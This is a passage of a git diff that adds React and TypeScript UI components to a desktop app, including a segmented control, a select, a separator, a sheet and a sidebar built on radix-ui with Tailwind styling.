+            aria-label={t.ui.search.clear}
+            className="shrink-0 text-muted-foreground/85 hover:bg-accent/60 hover:text-foreground"
+            onClick={clear}
+            size="icon-xs"
+            variant="ghost"
+          >
+            <Codicon name="close" size="0.875rem" />
+          </Button>
+        </Tip>
+      ) : null}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/segmented-control.tsx b/ui-desktop/src/components/ui/segmented-control.tsx
new file mode 100644
index 000000000..45c854ecf
--- /dev/null
+++ b/ui-desktop/src/components/ui/segmented-control.tsx
@@ -0,0 +1,61 @@
+import type { IconComponent } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+export interface SegmentedControlOption<T extends string> {
+  id: T
+  label: string
+  icon?: IconComponent
+}
+
+interface SegmentedControlProps<T extends string> {
+  options: readonly SegmentedControlOption<T>[]
+  value: T
+  onChange: (id: T) => void
+  className?: string
+  /** Dims the whole track and blocks selection (e.g. gated behind a prerequisite). */
+  disabled?: boolean
+}
+
+/**
+ * Grouped one-row toggle used for small mutually-exclusive choices
+ * (color mode, tool-call display, usage period, etc.). Flat by design —
+ * no per-option borders, just a tinted track with a raised active pill.
+ */
+export function SegmentedControl<T extends string>({
+  className,
+  disabled = false,
+  onChange,
+  options,
+  value
+}: SegmentedControlProps<T>) {
+  return (
+    <div
+      className={cn(
+        'inline-grid w-fit auto-cols-fr grid-flow-col gap-0.5 rounded-[5px] bg-(--ui-bg-tertiary) p-0.5',
+        disabled && 'opacity-50',
+        className
+      )}
+    >
+      {options.map(({ id, label, icon: Icon }) => {
+        const active = value === id
+
+        return (
+          <button
+            aria-pressed={active}
+            className={cn(
+              'flex items-center justify-center gap-1 rounded-[3px] px-2.5 py-0.5 text-[0.6875rem] font-medium transition-colors disabled:cursor-default',
+              active ? 'bg-background text-foreground shadow-sm' : 'text-muted-foreground hover:text-foreground'
+            )}
+            disabled={disabled}
+            key={id}
+            onClick={() => onChange(id)}
+            type="button"
+          >
+            {Icon && <Icon className="size-3" />}
+            {label}
+          </button>
+        )
+      })}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/ui/select.tsx b/ui-desktop/src/components/ui/select.tsx
new file mode 100644
index 000000000..059575a1c
--- /dev/null
+++ b/ui-desktop/src/components/ui/select.tsx
@@ -0,0 +1,112 @@
+import { Select as SelectPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { type ControlVariantProps, controlVariants } from '@/components/ui/control'
+import { usePopoverPortalContainer } from '@/components/ui/dialog-portal-context'
+import { cn } from '@/lib/utils'
+
+function Select({ ...props }: React.ComponentProps<typeof SelectPrimitive.Root>) {
+  return <SelectPrimitive.Root data-slot="select" {...props} />
+}
+
+function SelectTrigger({
+  className,
+  children,
+  size,
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Trigger> & ControlVariantProps) {
+  return (
+    <SelectPrimitive.Trigger
+      className={cn(
+        controlVariants({ size }),
+        'flex items-center justify-between gap-2 whitespace-nowrap data-placeholder:text-muted-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0',
+        className
+      )}
+      data-slot="select-trigger"
+      {...props}
+    >
+      {children}
+      <SelectPrimitive.Icon asChild>
+        <Codicon className="opacity-60" name="chevron-down" size="1rem" />
+      </SelectPrimitive.Icon>
+    </SelectPrimitive.Trigger>
+  )
+}
+
+function SelectValue({ ...props }: React.ComponentProps<typeof SelectPrimitive.Value>) {
+  return <SelectPrimitive.Value data-slot="select-value" {...props} />
+}
+
+function SelectContent({
+  className,
+  children,
+  position = 'popper',
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Content>) {
+  // Portal into the enclosing dialog (if any) so the dropdown is a DOM
+  // descendant of the dialog — keeps focus inside and stops the dialog closing
+  // when the dropdown is dismissed. Falls back to document.body outside a dialog.
+  const container = usePopoverPortalContainer()
+
+  return (
+    <SelectPrimitive.Portal container={container}>
+      <SelectPrimitive.Content
+        className={cn(
+          'relative z-(--z-modal-popover) max-h-72 min-w-32 overflow-hidden rounded-md border border-border bg-popover text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=top]:slide-in-from-bottom-2 data-[side=right]:slide-in-from-left-2',
+          position === 'popper' &&
+            'data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1',
+          className
+        )}
+        data-slot="select-content"
+        position={position}
+        {...props}
+      >
+        <SelectPrimitive.Viewport
+          className={cn(
+            'p-1',
+            position === 'popper' && 'h-(--radix-select-trigger-height) w-full min-w-(--radix-select-trigger-width)'
+          )}
+        >
+          {children}
+        </SelectPrimitive.Viewport>
+      </SelectPrimitive.Content>
+    </SelectPrimitive.Portal>
+  )
+}
+
+function SelectGroup({ ...props }: React.ComponentProps<typeof SelectPrimitive.Group>) {
+  return <SelectPrimitive.Group data-slot="select-group" {...props} />
+}
+
+function SelectLabel({ className, ...props }: React.ComponentProps<typeof SelectPrimitive.Label>) {
+  return (
+    <SelectPrimitive.Label
+      className={cn('px-2 py-1.5 text-[0.65rem] font-medium uppercase tracking-wide text-muted-foreground', className)}
+      data-slot="select-label"
+      {...props}
+    />
+  )
+}
+
+function SelectItem({ className, children, ...props }: React.ComponentProps<typeof SelectPrimitive.Item>) {
+  return (
+    <SelectPrimitive.Item
+      className={cn(
+        'relative flex w-full cursor-pointer items-center gap-2 rounded-sm py-1.5 pr-8 pl-2 text-xs outline-none select-none focus:bg-accent focus:text-accent-foreground data-disabled:pointer-events-none data-disabled:cursor-default data-disabled:opacity-50',
+        className
+      )}
+      data-slot="select-item"
+      {...props}
+    >
+      <span className="absolute right-2 flex size-3.5 items-center justify-center">
+        <SelectPrimitive.ItemIndicator>
+          <Codicon name="check" size="1rem" />
+        </SelectPrimitive.ItemIndicator>
+      </span>
+      <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>
+    </SelectPrimitive.Item>
+  )
+}
+
+export { Select, SelectContent, SelectGroup, SelectItem, SelectLabel, SelectTrigger, SelectValue }
diff --git a/ui-desktop/src/components/ui/separator.tsx b/ui-desktop/src/components/ui/separator.tsx
new file mode 100644
index 000000000..ea5dc859a
--- /dev/null
+++ b/ui-desktop/src/components/ui/separator.tsx
@@ -0,0 +1,26 @@
+import { Separator as SeparatorPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { cn } from '@/lib/utils'
+
+function Separator({
+  className,
+  orientation = 'horizontal',
+  decorative = true,
+  ...props
+}: React.ComponentProps<typeof SeparatorPrimitive.Root>) {
+  return (
+    <SeparatorPrimitive.Root
+      className={cn(
+        'shrink-0 bg-border data-[orientation=horizontal]:h-px data-[orientation=horizontal]:w-full data-[orientation=vertical]:h-full data-[orientation=vertical]:w-px',
+        className
+      )}
+      data-slot="separator"
+      decorative={decorative}
+      orientation={orientation}
+      {...props}
+    />
+  )
+}
+
+export { Separator }
diff --git a/ui-desktop/src/components/ui/sheet.tsx b/ui-desktop/src/components/ui/sheet.tsx
new file mode 100644
index 000000000..dcff3b689
--- /dev/null
+++ b/ui-desktop/src/components/ui/sheet.tsx
@@ -0,0 +1,116 @@
+'use client'
+
+import { Dialog as SheetPrimitive } from 'radix-ui'
+import * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+function Sheet({ ...props }: React.ComponentProps<typeof SheetPrimitive.Root>) {
+  return <SheetPrimitive.Root data-slot="sheet" {...props} />
+}
+
+function SheetTrigger({ ...props }: React.ComponentProps<typeof SheetPrimitive.Trigger>) {
+  return <SheetPrimitive.Trigger data-slot="sheet-trigger" {...props} />
+}
+
+function SheetClose({ ...props }: React.ComponentProps<typeof SheetPrimitive.Close>) {
+  return <SheetPrimitive.Close data-slot="sheet-close" {...props} />
+}
+
+function SheetPortal({ ...props }: React.ComponentProps<typeof SheetPrimitive.Portal>) {
+  return <SheetPrimitive.Portal data-slot="sheet-portal" {...props} />
+}
+
+function SheetOverlay({ className, ...props }: React.ComponentProps<typeof SheetPrimitive.Overlay>) {
+  return (
+    <SheetPrimitive.Overlay
+      className={cn(
+        'fixed inset-0 z-50 bg-black/22 backdrop-blur-[0.125rem] data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:animate-in data-[state=open]:fade-in-0',
+        className
+      )}
+      data-slot="sheet-overlay"
+      {...props}
+    />
+  )
+}
+
+function SheetContent({
+  className,
+  children,
+  side = 'right',
+  showCloseButton = true,
+  ...props
+}: React.ComponentProps<typeof SheetPrimitive.Content> & {
+  side?: 'top' | 'right' | 'bottom' | 'left'
+  showCloseButton?: boolean
+}) {
+  const { t } = useI18n()
+
+  return (
+    <SheetPortal>
+      <SheetOverlay />
+      <SheetPrimitive.Content
+        className={cn(
+          'fixed z-50 flex flex-col gap-3 border-(--ui-stroke-secondary) bg-(--ui-sidebar-surface-background) text-[length:var(--conversation-text-font-size)] shadow-md transition ease-in-out data-[state=closed]:animate-out data-[state=closed]:duration-300 data-[state=open]:animate-in data-[state=open]:duration-500',
+          side === 'right' &&
+            'inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm',
+          side === 'left' &&
+            'inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm',
+          side === 'top' &&
+            'inset-x-0 top-0 h-auto border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top',
+          side === 'bottom' &&
+            'inset-x-0 bottom-0 h-auto border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom',
+          className
+        )}
+        data-slot="sheet-content"
+        {...props}
+      >
+        {children}
+        {showCloseButton && (
+          <SheetPrimitive.Close
+            aria-label={t.common.close}
+            className="absolute top-3 right-3 rounded-md p-1 text-(--ui-text-tertiary) opacity-70 ring-offset-background transition-opacity hover:bg-(--chrome-action-hover) hover:text-foreground hover:opacity-100 focus:ring-2 focus:ring-ring focus:ring-offset-2 focus:outline-hidden disabled:pointer-events-none data-[state=open]:bg-secondary"
+          >
+            <Codicon name="close" size="1rem" />
+            <span className="sr-only">{t.common.close}</span>
+          </SheetPrimitive.Close>
+        )}
+      </SheetPrimitive.Content>
+    </SheetPortal>
+  )
+}
+
+function SheetHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return <div className={cn('flex flex-col gap-1 p-3', className)} data-slot="sheet-header" {...props} />
+}
+
+function SheetFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return <div className={cn('mt-auto flex flex-col gap-2 p-3', className)} data-slot="sheet-footer" {...props} />
+}
+
+function SheetTitle({ className, ...props }: React.ComponentProps<typeof SheetPrimitive.Title>) {
+  return (
+    <SheetPrimitive.Title
+      className={cn('text-[0.9375rem] font-semibold text-foreground', className)}
+      data-slot="sheet-title"
+      {...props}
+    />
+  )
+}
+
+function SheetDescription({ className, ...props }: React.ComponentProps<typeof SheetPrimitive.Description>) {
+  return (
+    <SheetPrimitive.Description
+      className={cn(
+        'text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)',
+        className
+      )}
+      data-slot="sheet-description"
+      {...props}
+    />
+  )
+}
+
+export { Sheet, SheetClose, SheetContent, SheetDescription, SheetFooter, SheetHeader, SheetTitle, SheetTrigger }
diff --git a/ui-desktop/src/components/ui/sidebar.tsx b/ui-desktop/src/components/ui/sidebar.tsx
new file mode 100644
index 000000000..9716d246d
--- /dev/null
+++ b/ui-desktop/src/components/ui/sidebar.tsx
@@ -0,0 +1,676 @@
+'use client'
+
+import { cva, type VariantProps } from 'class-variance-authority'
+import { Slot } from 'radix-ui'
+import * as React from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Separator } from '@/components/ui/separator'
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from '@/components/ui/sheet'
+import { Skeleton } from '@/components/ui/skeleton'
+import { Tip, Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'
+import { useIsMobile } from '@/hooks/use-mobile'
+import { useI18n } from '@/i18n'
+import { PanelLeftIcon } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+const SIDEBAR_COOKIE_NAME = 'sidebar_state'
+const SIDEBAR_COOKIE_MAX_AGE = 60 * 60 * 24 * 7
+const SIDEBAR_WIDTH = '16rem'
+const SIDEBAR_WIDTH_MOBILE = '18rem'
+const SIDEBAR_WIDTH_ICON = '3rem'
+
+type SidebarContextProps = {
+  state: 'expanded' | 'collapsed'
+  open: boolean
+  setOpen: (open: boolean) => void
+  openMobile: boolean
+  setOpenMobile: (open: boolean) => void
+  isMobile: boolean
+  toggleSidebar: () => void
+}
+
+const SidebarContext = React.createContext<SidebarContextProps | null>(null)
+
+function useSidebar() {
+  const context = React.useContext(SidebarContext)
+
+  if (!context) {
+    throw new Error('useSidebar must be used within a SidebarProvider.')
+  }
+
+  return context
+}
+
+function SidebarProvider({
+  defaultOpen = true,
+  open: openProp,
+  onOpenChange: setOpenProp,
+  className,
+  style,
+  children,
+  ...props
+}: React.ComponentProps<'div'> & {
+  defaultOpen?: boolean
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}) {
+  const isMobile = useIsMobile()
+  const [openMobile, setOpenMobile] = React.useState(false)
+
+  // This is the internal state of the sidebar.
+  // We use openProp and setOpenProp for control from outside the component.
+  const [_open, _setOpen] = React.useState(defaultOpen)
+  const open = openProp ?? _open
+
+  const setOpen = React.useCallback(
+    (value: boolean | ((value: boolean) => boolean)) => {
+      const openState = typeof value === 'function' ? value(open) : value
+
+      if (setOpenProp) {
+        setOpenProp(openState)
+      } else {
+        _setOpen(openState)
+      }
+    },
+    [setOpenProp, open]
+  )
+
+  React.useEffect(() => {
+    document.cookie = `${SIDEBAR_COOKIE_NAME}=${open}; path=/; max-age=${SIDEBAR_COOKIE_MAX_AGE}`
+  }, [open])
+
+  // Helper to toggle the sidebar.
+  const toggleSidebar = React.useCallback(() => {
+    return isMobile ? setOpenMobile(open => !open) : setOpen(open => !open)
+  }, [isMobile, setOpen, setOpenMobile])
+
+  // The sidebar toggle (Cmd/Ctrl+B by default) is owned by the keybind runtime
+  // (`view.toggleSidebar`) so it appears in the hotkey map and is rebindable.
+
+  // We add a state so that we can do data-state="expanded" or "collapsed".
+  // This makes it easier to style the sidebar with Tailwind classes.
+  const state = open ? 'expanded' : 'collapsed'
+
+  const contextValue = React.useMemo<SidebarContextProps>(
+    () => ({
+      state,
+      open,
+      setOpen,
+      isMobile,
+      openMobile,
+      setOpenMobile,
+      toggleSidebar
+    }),
+    [state, open, setOpen, isMobile, openMobile, setOpenMobile, toggleSidebar]
+  )
+
+  return (
+    <SidebarContext.Provider value={contextValue}>
+      <TooltipProvider delayDuration={0}>
+        <div
+          className={cn('group/sidebar-wrapper flex min-h-svh w-full has-data-[variant=inset]:bg-sidebar', className)}
+          data-slot="sidebar-wrapper"
+          style={
+            {
+              '--sidebar-width': SIDEBAR_WIDTH,
+              '--sidebar-width-icon': SIDEBAR_WIDTH_ICON,
+              ...style
+            } as React.CSSProperties
+          }
+          {...props}
+        >
+          {children}
+        </div>
+      </TooltipProvider>
+    </SidebarContext.Provider>
+  )
+}
+
+function Sidebar({
+  side = 'left',
+  variant = 'sidebar',
+  collapsible = 'offcanvas',
+  className,
+  children,
+  ...props
+}: React.ComponentProps<'div'> & {
+  side?: 'left' | 'right'
+  variant?: 'sidebar' | 'floating' | 'inset'
+  collapsible?: 'offcanvas' | 'icon' | 'none'
+}) {
+  const { isMobile, state, openMobile, setOpenMobile } = useSidebar()
+  const { t } = useI18n()
+
+  if (collapsible === 'none') {
+    return (
+      <div
+        className={cn('flex h-full w-(--sidebar-width) flex-col bg-sidebar text-sidebar-foreground', className)}
+        data-slot="sidebar"
+        {...props}
+      >
+        {children}
+      </div>
+    )
+  }
+
+  if (isMobile) {
+    return (
+      <Sheet onOpenChange={setOpenMobile} open={openMobile} {...props}>
+        <SheetContent
+          className="w-(--sidebar-width) bg-sidebar p-0 text-sidebar-foreground [&>button]:hidden"
+          data-mobile="true"
+          data-sidebar="sidebar"
+          data-slot="sidebar"
+          side={side}
+          style={
+            {
+              '--sidebar-width': SIDEBAR_WIDTH_MOBILE
+            } as React.CSSProperties
+          }
+        >
+          <SheetHeader className="sr-only">
+            <SheetTitle>{t.ui.sidebar.title}</SheetTitle>
+            <SheetDescription>{t.ui.sidebar.description}</SheetDescription>
+          </SheetHeader>
+          <div className="flex h-full w-full flex-col">{children}</div>
+        </SheetContent>
+      </Sheet>
+    )
+  }
+
+  return (
+    <div
+      className="group peer hidden text-sidebar-foreground md:block"
+      data-collapsible={state === 'collapsed' ? collapsible : ''}
+      data-side={side}
+      data-slot="sidebar"
+      data-state={state}
+      data-variant={variant}
+    >
+      {/* This is what handles the sidebar gap on desktop */}
+      <div
+        className={cn(
+          'relative w-(--sidebar-width) bg-transparent transition-[width] duration-200 ease-linear',
+          'group-data-[collapsible=offcanvas]:w-0',
+          'group-data-[side=right]:rotate-180',
+          variant === 'floating' || variant === 'inset'
+            ? 'group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)+(--spacing(4)))]'
+            : 'group-data-[collapsible=icon]:w-(--sidebar-width-icon)'
+        )}
+        data-slot="sidebar-gap"
+      />
+      <div
+        className={cn(
+          'fixed inset-y-0 z-10 hidden h-svh w-(--sidebar-width) transition-[left,right,width] duration-200 ease-linear md:flex',
+          side === 'left'
+            ? 'left-0 group-data-[collapsible=offcanvas]:left-[calc(var(--sidebar-width)*-1)]'
+            : 'right-0 group-data-[collapsible=offcanvas]:right-[calc(var(--sidebar-width)*-1)]',
+          // Adjust the padding for floating and inset variants.
+          variant === 'floating' || variant === 'inset'
+            ? 'p-2 group-data-[collapsible=icon]:w-[calc(var(--sidebar-width-icon)+(--spacing(4))+0.125rem)]'
+            : 'group-data-[collapsible=icon]:w-(--sidebar-width-icon) group-data-[side=left]:border-r group-data-[side=right]:border-l',
+          className
+        )}
+        data-slot="sidebar-container"
+        {...props}
+      >
+        <div
+          className="flex h-full w-full flex-col bg-sidebar group-data-[variant=floating]:rounded-lg group-data-[variant=floating]:border group-data-[variant=floating]:border-sidebar-border group-data-[variant=floating]:shadow-sm"
+          data-sidebar="sidebar"
+          data-slot="sidebar-inner"
+        >
+          {children}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+function SidebarTrigger({ className, onClick, ...props }: React.ComponentProps<typeof Button>) {
+  const { state, toggleSidebar } = useSidebar()
+  const { t } = useI18n()
+
+  return (
+    <Button
+      className={className}
+      data-sidebar="trigger"
+      data-slot="sidebar-trigger"
+      onClick={event => {
+        onClick?.(event)
+        toggleSidebar()
+      }}
+      size="icon-sm"
+      variant="ghost"
+      {...props}
+    >
+      <PanelLeftIcon />
+      <span className="sr-only">{t.ui.sidebar.toggle(state === 'collapsed')}</span>
+    </Button>
+  )
+}
+
+function SidebarRail({ className, ...props }: React.ComponentProps<'button'>) {
+  const { state, toggleSidebar } = useSidebar()
+  const { t } = useI18n()
+  const label = t.ui.sidebar.toggle(state === 'collapsed')
+
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className={cn(
+          'absolute inset-y-0 z-20 hidden w-4 -translate-x-1/2 transition-all ease-linear group-data-[side=left]:-right-4 group-data-[side=right]:left-0 after:absolute after:inset-y-0 after:left-1/2 after:w-[0.125rem] hover:after:bg-sidebar-border sm:flex',
+          'in-data-[side=left]:cursor-w-resize in-data-[side=right]:cursor-e-resize',
+          '[[data-side=left][data-state=collapsed]_&]:cursor-e-resize [[data-side=right][data-state=collapsed]_&]:cursor-w-resize',
+          'group-data-[collapsible=offcanvas]:translate-x-0 group-data-[collapsible=offcanvas]:after:left-full hover:group-data-[collapsible=offcanvas]:bg-sidebar',
+          '[[data-side=left][data-collapsible=offcanvas]_&]:-right-2',
+          '[[data-side=right][data-collapsible=offcanvas]_&]:-left-2',
+          className
+        )}
+        data-sidebar="rail"
+        data-slot="sidebar-rail"
+        onClick={toggleSidebar}
+        tabIndex={-1}
+        {...props}
+      />
+    </Tip>
+  )
+}
+
+function SidebarInset({ className, ...props }: React.ComponentProps<'main'>) {
+  return (
+    <main
+      className={cn(
+        'relative flex w-full flex-1 flex-col bg-background',
+        'md:peer-data-[variant=inset]:m-2 md:peer-data-[variant=inset]:ml-0 md:peer-data-[variant=inset]:rounded-xl md:peer-data-[variant=inset]:shadow-sm md:peer-data-[variant=inset]:peer-data-[state=collapsed]:ml-2',
+        className
+      )}
+      data-slot="sidebar-inset"
+      {...props}
+    />
+  )
+}
+
+function SidebarInput({ className, ...props }: React.ComponentProps<typeof Input>) {
+  return (
+    <Input
+      className={cn('h-8 w-full bg-background shadow-none', className)}
+      data-sidebar="input"
+      data-slot="sidebar-input"
+      {...props}
+    />
+  )
+}
+
+function SidebarHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('flex flex-col gap-2 p-2', className)}
+      data-sidebar="header"
+      data-slot="sidebar-header"
+      {...props}
+    />
+  )
+}
+
+function SidebarFooter({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('flex flex-col gap-2 p-2', className)}
+      data-sidebar="footer"
+      data-slot="sidebar-footer"
+      {...props}
+    />
+  )
+}
+
+function SidebarSeparator({ className, ...props }: React.ComponentProps<typeof Separator>) {
+  return (
+    <Separator
+      className={cn('mx-2 w-auto bg-sidebar-border', className)}
+      data-sidebar="separator"
+      data-slot="sidebar-separator"
+      {...props}
+    />
+  )
+}
+
+function SidebarContent({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'flex min-h-0 flex-1 flex-col gap-2 overflow-x-hidden overflow-y-auto group-data-[collapsible=icon]:overflow-hidden',
+        className
+      )}
+      data-sidebar="content"
+      data-slot="sidebar-content"
+      {...props}
+    />
+  )
+}
+
+function SidebarGroup({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('relative flex w-full min-w-0 flex-col p-2', className)}
+      data-sidebar="group"
+      data-slot="sidebar-group"
+      {...props}
+    />
+  )
+}
+
+function SidebarGroupLabel({
+  className,
+  asChild = false,
+  ...props
+}: React.ComponentProps<'div'> & { asChild?: boolean }) {
+  const Comp = asChild ? Slot.Root : 'div'
+
+  return (
+    <Comp
+      className={cn(
+        'flex h-8 shrink-0 items-center rounded-md px-2 text-xs font-medium text-sidebar-foreground/70 ring-sidebar-ring outline-hidden transition-[margin,opacity] duration-200 ease-linear focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0',
+        'group-data-[collapsible=icon]:-mt-8 group-data-[collapsible=icon]:opacity-0',
+        className
+      )}
+      data-sidebar="group-label"
+      data-slot="sidebar-group-label"
+      {...props}
+    />
+  )
+}
+
+function SidebarGroupAction({
+  className,
+  asChild = false,
+  ...props
+}: React.ComponentProps<'button'> & { asChild?: boolean }) {
+  const Comp = asChild ? Slot.Root : 'button'
+
+  return (
+    <Comp
+      className={cn(
+        'absolute top-3.5 right-3 flex aspect-square w-5 items-center justify-center rounded-md p-0 text-sidebar-foreground ring-sidebar-ring outline-hidden transition-transform hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0',
+        // Increases the hit area of the button on mobile.
+        'after:absolute after:-inset-2 md:after:hidden',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      data-sidebar="group-action"
+      data-slot="sidebar-group-action"
+      {...props}
+    />
+  )
+}
+
+function SidebarGroupContent({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn('w-full text-sm', className)}
+      data-sidebar="group-content"
+      data-slot="sidebar-group-content"
+      {...props}
+    />
+  )
+}
+
+function SidebarMenu({ className, ...props }: React.ComponentProps<'ul'>) {
+  return (
+    <ul
+      className={cn('flex w-full min-w-0 flex-col gap-1', className)}
+      data-sidebar="menu"
+      data-slot="sidebar-menu"
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuItem({ className, ...props }: React.ComponentProps<'li'>) {
+  return (
+    <li
+      className={cn('group/menu-item relative', className)}
+      data-sidebar="menu-item"
+      data-slot="sidebar-menu-item"
+      {...props}
+    />
+  )
+}
+
+const sidebarMenuButtonVariants = cva(
+  'peer/menu-button flex w-full items-center gap-2 overflow-hidden rounded-md p-2 text-left text-sm ring-sidebar-ring outline-hidden transition-[width,height,padding] group-has-data-[sidebar=menu-action]/menu-item:pr-8 group-data-[collapsible=icon]:size-8! group-data-[collapsible=icon]:p-2! hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 data-[active=true]:bg-sidebar-accent data-[active=true]:font-medium data-[active=true]:text-sidebar-accent-foreground data-[state=open]:hover:bg-sidebar-accent data-[state=open]:hover:text-sidebar-accent-foreground [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0',
+  {
+    variants: {
+      variant: {
+        default: 'hover:bg-sidebar-accent hover:text-sidebar-accent-foreground',
+        outline:
+          'bg-background shadow-[0_0_0_0.0625rem_hsl(var(--sidebar-border))] hover:bg-sidebar-accent hover:text-sidebar-accent-foreground hover:shadow-[0_0_0_0.0625rem_hsl(var(--sidebar-accent))]'
+      },
+      size: {
+        default: 'h-8 text-sm',
+        sm: 'h-7 text-xs',
+        lg: 'h-12 text-sm group-data-[collapsible=icon]:p-0!'
+      }
+    },
+    defaultVariants: {
+      variant: 'default',
+      size: 'default'
+    }
+  }
+)
+
+function SidebarMenuButton({
+  asChild = false,
+  isActive = false,
+  variant = 'default',
+  size = 'default',
+  tooltip,
+  className,
+  ...props
+}: React.ComponentProps<'button'> & {
+  asChild?: boolean
+  isActive?: boolean
+  tooltip?: string | React.ComponentProps<typeof TooltipContent>
+} & VariantProps<typeof sidebarMenuButtonVariants>) {
+  const Comp = asChild ? Slot.Root : 'button'
+  const { isMobile, state } = useSidebar()
+
+  const button = (
+    <Comp
+      className={cn(sidebarMenuButtonVariants({ variant, size }), className)}
+      data-active={isActive}
+      data-sidebar="menu-button"
+      data-size={size}
+      data-slot="sidebar-menu-button"
+      {...props}
+    />
+  )
+
+  if (!tooltip) {
+    return button
+  }
+
+  if (typeof tooltip === 'string') {
+    tooltip = {
+      children: tooltip
+    }
+  }
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>{button}</TooltipTrigger>
+      <TooltipContent align="center" hidden={state !== 'collapsed' || isMobile} side="right" {...tooltip} />
+    </Tooltip>
+  )
+}
+
+function SidebarMenuAction({
+  className,
+  asChild = false,
+  showOnHover = false,
+  ...props
+}: React.ComponentProps<'button'> & {
+  asChild?: boolean
+  showOnHover?: boolean
+}) {
+  const Comp = asChild ? Slot.Root : 'button'
+
+  return (
+    <Comp
+      className={cn(
+        'absolute top-1.5 right-1 flex aspect-square w-5 items-center justify-center rounded-md p-0 text-sidebar-foreground ring-sidebar-ring outline-hidden transition-transform peer-hover/menu-button:text-sidebar-accent-foreground hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 [&>svg]:size-4 [&>svg]:shrink-0',
+        // Increases the hit area of the button on mobile.
+        'after:absolute after:-inset-2 md:after:hidden',
+        'peer-data-[size=sm]/menu-button:top-1',
+        'peer-data-[size=default]/menu-button:top-1.5',
+        'peer-data-[size=lg]/menu-button:top-2.5',
+        'group-data-[collapsible=icon]:hidden',
+        showOnHover &&
+          'group-focus-within/menu-item:opacity-100 group-hover/menu-item:opacity-100 peer-data-[active=true]/menu-button:text-sidebar-accent-foreground data-[state=open]:opacity-100 md:opacity-0',
+        className
+      )}
+      data-sidebar="menu-action"
+      data-slot="sidebar-menu-action"
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuBadge({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      className={cn(
+        'pointer-events-none absolute right-1 flex h-5 min-w-5 items-center justify-center rounded-md px-1 text-xs font-medium text-sidebar-foreground tabular-nums select-none',
+        'peer-hover/menu-button:text-sidebar-accent-foreground peer-data-[active=true]/menu-button:text-sidebar-accent-foreground',
+        'peer-data-[size=sm]/menu-button:top-1',
+        'peer-data-[size=default]/menu-button:top-1.5',
+        'peer-data-[size=lg]/menu-button:top-2.5',
+        'group-data-[collapsible=icon]:hidden',
+        className
+      )}
+      data-sidebar="menu-badge"
+      data-slot="sidebar-menu-badge"
+      {...props}
+    />
+  )
+}
+
+function SidebarMenuSkeleton({
+  className,
+  showIcon = false,
+  ...props
+}: React.ComponentProps<'div'> & {
+  showIcon?: boolean
+}) {
+  // Random width between 50 to 90%.
+  const width = React.useMemo(() => {
+    return `${Math.floor(Math.random() * 40) + 50}%`
+  }, [])
+
+  return (
+    <div
+      className={cn('flex h-8 items-center gap-2 rounded-md px-2', className)}
+      data-sidebar="menu-skeleton"
+      data-slot="sidebar-menu-skeleton"
+      {...props}
+    >
+      {showIcon && <Skeleton className="size-4 rounded-md" data-sidebar="menu-skeleton-icon" />}
+      <Skeleton
+        className="h-4 max-w-(--skeleton-width) flex-1"
+        data-sidebar="menu-skeleton-text"
+        style={
+          {
+            '--skeleton-width': width
+          } as React.CSSProperties
+        }
+      />
+    </div>
+  )
+}
+
+function SidebarMenuSub({ className, ...props }: React.ComponentProps<'ul'>) {
